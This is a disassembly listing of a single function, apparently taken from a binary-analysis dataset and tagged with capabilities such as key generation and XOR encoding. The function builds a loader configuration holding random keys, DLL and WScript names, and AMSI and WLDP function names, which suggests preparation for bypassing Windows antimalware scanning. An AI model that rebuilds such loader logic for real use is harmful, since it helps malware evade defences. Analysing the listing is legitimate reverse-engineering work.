Function at 0x10002380
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x10005004]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x24], 0
mov eax, 0x2068
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
cmp dword [edi + 0x101c], 1
jne 0x100023d3
mov eax, dword [edi + 0x1010]
mov esi, dword [edi + 0x1014]
add eax, 0x2068
mov dword [esp + 0x20], eax
adc esi, 0
mov dword [esp + 0x24], esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov ebx, eax
add esp, 8
mov dword [esp + 0x10], ebx
test ebx, ebx
jne 0x100023fe
lea eax, [ebx + 6]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.10001000
mov esp, ebp
pop ebp
ret
push 0xf0000040
push 0x18
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10002a36
lea eax, [esp + 0x4c]
push eax
push 0x20
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test esi, esi
je 0x10002a36
movups xmm0, xmmword [esp + 0x4c]
push 0xf0000040
push 0x18
movups xmmword [ebx + 4], xmm0
push 0
movups xmm0, xmmword [esp + 0x68]
push 0
lea eax, [esp + 0x1c]
push eax
movups xmmword [ebx + 0x14], xmm0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10002a36
lea eax, [esp + 0x2c]
push eax
push 0x20
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test esi, esi
je 0x10002a36
movups xmm0, xmmword [esp + 0x2c]
sub esp, 8
lea ecx, [ebx + 0x618]
movups xmmword [ebx + 0x720], xmm0
movups xmm0, xmmword [esp + 0x44]
movups xmmword [ebx + 0x730], xmm0
call fcn.10002df0
add esp, 8
test eax, eax
je 0x10002a36
lea ecx, [ebx + 0x28]
push 0
push 8
mov dword [esp + 0x30], ecx
call fcn.10002eb0
add esp, 8
test eax, eax
je 0x10002a36
mov ecx, dword [0x1000b360]
xor eax, eax
mov dword [esp + 0xc], eax
test ecx, ecx
je 0x10002564
mov dword [esp + 0x18], eax
lea eax, [ebx + 0x30]
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x14], eax
push dword [ebx + 4]
push dword [ebx]
call fcn.10003620
push dword [ebx + 4]
mov ecx, dword [esp + 0x24]
mov esi, eax
push dword [ebx]
mov edi, edx
mov ecx, dword [ecx + 0x1000b364]
call fcn.10003620
mov ecx, dword [esp + 0x24]
xor eax, esi
xor edx, edi
add esp, 0x10
mov dword [ecx], eax
mov eax, dword [esp + 0xc]
inc eax
mov dword [ecx + 4], edx
add ecx, 8
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], ecx
lea ecx, [eax*8]
mov dword [esp + 0x18], ecx
mov ecx, dword [ecx + 0x1000b360]
test ecx, ecx
jne 0x10002505
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 0x1c]
mov dword [ebx + 0x234], 1
mov dword [ebx + 0x230], eax
movq xmm0, qword [str.ole32.dll]
movq qword [ebx + 0x238], xmm0
mov ax, word [0x1000b574]
mov word [ebx + 0x240], ax
mov dword [ebx + 0x234], 2
movq xmm0, qword [str.oleaut32.dll]
movq qword [ebx + 0x258], xmm0
mov eax, dword [0x1000b564]
mov dword [ebx + 0x260], eax
mov al, byte [0x1000b568]
mov byte [ebx + 0x264], al
mov ecx, dword [ebx + 0x234]
lea eax, [ecx + 1]
shl ecx, 5
mov dword [ebx + 0x234], eax
movq xmm0, qword [str.wininet.dll]
movq qword [ecx + ebx + 0x238], xmm0
mov eax, dword [0x1000b558]
mov dword [ecx + ebx + 0x240], eax
mov ecx, dword [ebx + 0x234]
lea eax, [ecx + 1]
shl ecx, 5
mov dword [ebx + 0x234], eax
movq xmm0, qword [str.mscoree.dll]
movq qword [ecx + ebx + 0x238], xmm0
mov eax, dword [0x1000b54c]
mov dword [ecx + ebx + 0x240], eax
mov eax, dword [edi + 0x1008]
cmp eax, 1
je 0x10002724
cmp eax, 2
je 0x10002724
cmp eax, 5
je 0x10002679
cmp eax, 6
je 0x10002679
cmp eax, 7
jne 0x10002778
movups xmm0, xmmword [0x1000b2bc]
movups xmmword [ebx + 0x4dc], xmm0
movups xmm0, xmmword [0x1000b31c]
movups xmmword [ebx + 0x4ec], xmm0
movups xmm0, xmmword [0x1000b2cc]
movups xmmword [ebx + 0x4fc], xmm0
jmp 0x10002778
movups xmm0, xmmword [0x1000b470]
lea ecx, [ebx + 0x3cc]
mov edx, str.WScript
movups xmmword [ebx + 0x3fc], xmm0
movups xmm0, xmmword [0x1000b29c]
movups xmmword [ebx + 0x40c], xmm0
movups xmm0, xmmword [0x1000b490]
movups xmmword [ebx + 0x48c], xmm0
movups xmm0, xmmword [0x1000b26c]
movups xmmword [ebx + 0x49c], xmm0
movups xmm0, xmmword [0x1000b32c]
movups xmmword [ebx + 0x4ac], xmm0
movups xmm0, xmmword [0x1000b28c]
movups xmmword [ebx + 0x4bc], xmm0
movups xmm0, xmmword [0x1000b2ec]
movups xmmword [ebx + 0x4cc], xmm0
call fcn.10002da0
lea ecx, [ebx + 0x3dc]
mov edx, str.wscript.exe
call fcn.10002da0
cmp dword [edi + 0x1008], 5
jne 0x10002714
movups xmm0, xmmword [0x1000b2fc]
movups xmmword [ebx + 0x47c], xmm0
jmp 0x10002778
movups xmm0, xmmword [0x1000b480]
movups xmmword [ebx + 0x47c], xmm0
jmp 0x10002778
movups xmm0, xmmword [0x1000b2ac]
movups xmmword [ebx + 0x46c], xmm0
movups xmm0, xmmword [0x1000b27c]
movups xmmword [ebx + 0x42c], xmm0
movups xmm0, xmmword [0x1000b34c]
movups xmmword [ebx + 0x41c], xmm0
movups xmm0, xmmword [0x1000b30c]
movups xmmword [ebx + 0x43c], xmm0
movups xmm0, xmmword [0x1000b33c]
movups xmmword [ebx + 0x45c], xmm0
movups xmm0, xmmword [0x1000b2dc]
movups xmmword [ebx + 0x44c], xmm0
mov eax, dword [str.AMSI]
mov dword [ebx + 0x338], eax
movzx eax, byte [0x1000b52c]
mov byte [ebx + 0x33c], al
movq xmm0, qword [str.AmsiInitialize]
movq qword [ebx + 0x39c], xmm0
mov eax, dword [0x1000b520]
mov dword [ebx + 0x3a4], eax
movzx eax, word [0x1000b524]
mov word [ebx + 0x3a8], ax
movzx eax, byte [0x1000b526]
mov byte [ebx + 0x3aa], al
movq xmm0, qword [str.AmsiScanBuffer]
movq qword [ebx + 0x3ac], xmm0
mov eax, dword [0x1000b510]
mov dword [ebx + 0x3b4], eax
movzx eax, word [0x1000b514]
mov word [ebx + 0x3b8], ax
movzx eax, byte [0x1000b516]
mov byte [ebx + 0x3ba], al
movq xmm0, qword [str.AmsiScanString]
movq qword [ebx + 0x3bc], xmm0
mov eax, dword [0x1000b500]
mov dword [ebx + 0x3c4], eax
movzx eax, word [0x1000b504]
mov word [ebx + 0x3c8], ax
movzx eax, byte [0x1000b506]
mov byte [ebx + 0x3ca], al
mov dword [ebx + 0x344], 0x524c43
mov eax, dword [str.WLDP]
mov dword [ebx + 0x34c], eax
movzx eax, byte [0x1000b4f4]
mov byte [ebx + 0x350], al
movups xmm0, xmmword [str.WldpQueryDynamicCodeTrust]
movups xmmword [ebx + 0x35c], xmm0
movq xmm0, qword [0x1000b4e4]
movq qword [ebx + 0x36c], xmm0
movzx eax, word [0x1000b4ec]
mov word [ebx + 0x374], ax
movups xmm0, xmmword [str.WldpIsClassInApprovedList]
movups xmmword [ebx + 0x37c], xmm0
movq xmm0, qword [0x1000b4c8]
movq qword [ebx + 0x38c], xmm0
movzx eax, word [0x1000b4d0]
mov word [ebx + 0x394], ax
mov eax, dword [edi + 0x101c]
mov dword [ebx + 0x50c], eax
cmp eax, 2
jne 0x1000293c
sub esp, 8
lea esi, [edi + 0xf08]
mov ecx, esi
call fcn.10002df0
add esp, 8
test eax, eax
je 0x10002a36
lea ecx, [edi + 0xd08]
lea edi, [ebx + 0x510]
mov edx, edi
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100028f0
mov edx, esi
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x10002900
sub esi, edx
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002910
mov ecx, esi
mov dword [esp + 0x10], esi
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x1c]
mov dword [ebx + 0x610], 0x544547
mov eax, dword [edi + 0x1010]
lea esi, [ebx + 0x28]
mov ecx, dword [edi + 0x1014]
mov dword [ebx + 0x740], eax
mov eax, dword [esp + 0x20]
mov dword [ebx], eax
mov dword [ebx + 0x744], ecx
cmp dword [edi + 0x101c], 2
mov dword [edi + 0x1020], eax
mov eax, dword [esp + 0x24]
mov dword [edi + 0x1028], ebx
mov dword [edi + 0x1024], eax
jne 0x100029ba
push dword [esi + 4]
lea ecx, [ebx + 0x618]
push dword [esi]
call fcn.10003620
mov ecx, dword [edi + 0x1018]
mov dword [ecx + 0x1908], eax
mov dword [ecx + 0x190c], edx
lea edx, [esp + 0x44]
push dword [edi + 0x1010]
lea ecx, [esp + 0x38]
push dword [edi + 0x1018]
call fcn.10003850
add esp, 0x10
cmp dword [ebx + 0x50c], 1
jne 0x100029e3
push dword [edi + 0x1010]
mov eax, dword [edi + 0x1028]
push dword [edi + 0x1018]
add eax, 0x748
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [esi + 4]
lea ecx, [ebx + 0x618]
push dword [esi]
call fcn.10003620
mov dword [ebx + 0x718], eax
lea ecx, [esp + 0x54]
mov dword [ebx + 0x71c], edx
lea edx, [esp + 0x64]
mov eax, dword [edi + 0x1020]
sub eax, 0x230
push eax
lea eax, [ebx + 0x230]
push eax
call fcn.10003850
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.10001000
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x6c]
mov eax, 0xb
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001000
mov esp, ebp
pop ebp
ret